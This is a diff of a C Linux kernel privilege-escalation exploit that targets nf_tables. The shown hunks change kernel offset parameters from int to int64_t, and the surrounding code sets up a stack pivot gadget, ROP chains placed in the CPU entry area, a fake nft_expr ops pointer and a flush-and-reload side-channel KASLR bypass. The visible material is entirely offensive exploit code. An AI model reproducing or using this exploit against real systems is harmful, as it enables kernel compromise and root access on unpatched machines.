@@ -117,7 +117,7 @@ u64 add_rsp_0x88 = 0xffffffff810ebbdd;
117
117
//
118
118
119
119
// just use side channels
120
- int bypass_kaslr (u64 base );
120
+ int64_t bypass_kaslr (u64 base );
121
121
122
122
// CPU entry area pointers. We prepare some memory here that will be referenced
123
123
// by the ROP chains.
@@ -179,7 +179,7 @@ struct payload {
179
179
static u32 rop_chain_rsi [6 ] = {};
180
180
static struct payload payload = {};
181
181
182
- void setup_registers (struct payload * payload , int kernel_off ) {
182
+ void setup_registers (struct payload * payload , int64_t kernel_off ) {
183
183
// this function sets up the part of the payload which sets up the nft_regs structure
184
184
// in nft_do_chain.
185
185
// essentially we copy a stack pivot gadget into them
@@ -209,7 +209,7 @@ void setup_registers(struct payload* payload, int kernel_off) {
209
209
payload -> handle = 0xDEAD ;
210
210
}
211
211
212
- void setup_rop_chain (struct payload * payload , int kernel_off ) {
212
+ void setup_rop_chain (struct payload * payload , int64_t kernel_off ) {
213
213
payload -> fake_expr .fake_ops = PAYLOAD_LOCATION (HELPER_CPU ) + offsetof(struct cpu_entry_area_payload , nft_expr_eval );
214
214
215
215
// top of stack points contains &payload->fake_expr
@@ -304,7 +304,7 @@ static __attribute__((noreturn)) void write_cpu_entry_area(void* payload) {
304
304
305
305
// Fill the CPU entry area exception stack of HELPER_CPU with a
306
306
// struct cpu_entry_area_payload
307
- static void setup_cpu_entry_area (int kernel_off ) {
307
+ static void setup_cpu_entry_area (int64_t kernel_off ) {
308
308
if (fork ()) {
309
309
return ;
310
310
}
@@ -531,7 +531,7 @@ size_t flushandreload(void* addr) // row miss
531
531
return delta ;
532
532
}
533
533
534
- int bypass_kaslr (u64 base ) {
534
+ int64_t bypass_kaslr (u64 base ) {
535
535
if (!base ) {
536
536
#ifdef KASLR_BYPASS_INTEL
537
537
#define OFFSET 0
0 commit comments